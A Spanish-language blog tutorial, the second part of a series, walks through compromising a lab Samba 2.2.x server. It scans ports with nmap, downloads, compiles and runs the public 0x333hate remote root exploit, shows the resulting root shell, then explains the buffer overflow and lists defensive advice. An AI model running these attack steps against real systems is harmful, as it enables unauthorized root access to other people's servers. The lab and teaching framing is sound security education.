Historia breve de un compromiso de seguridad (parte #2) – El acceso no autorizado

Introducción.

En este punto se supone que el servidor se está ejecutando en algún lugar de Internet y que los clientes, incluído el atacante, lo acceden normalmente.

Para realizar cualquier tipo de conexión con el servidor es necesario conocer su dirección IP o en su defecto el nombre FDQN que será traducido por un servidor DNS para obtener finalmente su dirección IP.

Para la práctica se configuró la interfaz de red del Virtualbox en modo puente (bridge) para permitirle al servidor acceder a la red como una máquina independiente y obtener una dirección propia a partir del DHCP.

Es necesario entonces conocer cual es la dirección IP que obtuvo el servidor al cual vamos a acceder, para esto se utiliza el comando ifconfig.

Obtener la dirección IP de un equipo Linux
Obtener la dirección IP de un equipo Linux

A partir de este momento nos referiremos al servidor a través de su dirección IP: 192.168.1.6.

Establecer los servicios activos.

Conociendo la dirección IP del servidor, el atacante puede realizar una revisión de puertos para intentar establecer que servicios tiene activos.

$ sudo nmap -sS -sV 192.168.1.6

Starting Nmap 4.76 ( http://nmap.org ) at 2009-10-13 16:27 COT
Interesting ports on 192.168.1.6:
Not shown: 995 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 3.4p1 (protocol 1.99)
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
6000/tcp  open  X11          (access denied)
32768/tcp open  rpcbind
MAC Address: 08:00:27:20:DF:B6 (Cadmus Computer Systems)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds

Nótese como el servidor expone los puertos de los servicios que se instalaron en el paso anterior: el puerto 22 para SSH (con una versión totalmente obsoleta) y el 139 para Samba (versión 2.x).

Irrumpir en el servidor.

En esta práctica, el atacante utiliza el exploit remoto 0x333hate.c o sambal.c para aprovecharse de una vulnerabilidad conocida en Samba 2.2.x (hasta la 2.2.8).

Descargar el exploit.

$ wget http://www.securityfocus.com/data/vulnerabilities/exploits/0x333hate.c

–2009-10-13 16:46:40–  http://www.securityfocus.com/data/vulnerabilities/exploits/0x333hate.c
Resolving www.securityfocus.com… 205.206.231.13, 205.206.231.15, 205.206.231.12
Connecting to www.securityfocus.com|205.206.231.13|:80… connected.
HTTP request sent, awaiting response… 301 Moved Permanently
Location: http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c [following]
–2009-10-13 16:46:40–  http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
Resolving downloads.securityfocus.com… 205.206.231.23
Connecting to downloads.securityfocus.com|205.206.231.23|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 6514 (6.4K) [text/plain]

Saving to: `0x333hate.c’
100%[====================================================================>] 6,514       36.7K/s   in 0.2s
2009-10-13 16:46:41 (36.7 KB/s) – `0x333hate.c’ saved [6514/6514]

Compilar el exploit.

Requiere que las herramientas de desarrollo se encuentren instaladas: build-essential.

$ gcc 0x333hate.c -o 0x333hate

$ ls -l

-rwxr-xr-x 1 jimezam jimezam 15736 2009-10-13 16:46 0x333hate
-rw-r–r– 1 jimezam jimezam  6514 2003-04-30 23:00 0x333hate.c

Ejecutar el exploit.

$ ./0x333hate -t 192.168.1.6


[~] 0x333hate => samba 2.2.x remote root exploit [~]

[~]        coded by c0wboy ~ www.0x333.org       [~]
[-] connecting to 192.168.1.6:139
[-] stating bruteforce

[-] testing 0xbfffffff
[-] testing 0xbffffdff
[-] testing 0xbffffbff
[-] testing 0xbffff9ff
[-] testing 0xbffff7ff
[-] testing 0xbffff5ff
[-] testing 0xbffff3ff
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)

Como se puede apreciar, el exploit nos ha abierto un shell con privilegios de root en el servidor!

Para verificar que esto sea cierto crearemos un archivo de prueba de la siguiente manera.

cd /tmp
touch hacked!
ls -l

-rw-rw-rw-    1 root     root 0 Oct 13 16:48 hacked!

Nótese como el archivo (vacío) creado por los comandos anteriores es propiedad del usuario root, efectivamente tenemos un shell de administrador en el servidor atacado.

El problema.

El problema sucede cuando se copia la información suministrada por el cliente a un buffer estático, el servidor falla al verificar la longitud de esta información permitiéndole a un usuario anónimo corromper posiciones estratégicas de memoria y con esto ejecutar comandos arbitrarios en el servidor con los mismos privilegios con los que se ejecuta el proceso de Samba.

El error sucede en la función call_trans2open() (línea 250) del archivo /source/smbd/trans2.c.

namelen = strlen(pname)+1;
StrnCpy(fname,pname,namelen);

Sugerencias.

  • No confiar nunca en los datos suministrados por el usuario.
  • Realizar los procesos de validación de la información tanto en el cliente como en el servidor.
  • Siempre verificar que la información proveniente del usuario o de la base de datos sea de los tipos y la longitudes esperadas.
  • Mantener siempre actualizado el software con la versión mas reciente posible, especialmente en el servidor.
  • Utilizar firewalls que regulen el flujo de datos tanto de entrada como de salida.
  • Minimizar los servicios ejecutados en el servidor a sólo los necesarios.
  • Bloquear con el firewall el acceso a los servicios según no se requieran desde las distintas interfaces de red del servidor.
  • Revisar con cuidado los registros del servidor cuyas transacciones involucren servicios de hosting gratuitos.

Leave a Reply

Your email address will not be published. Required fields are marked *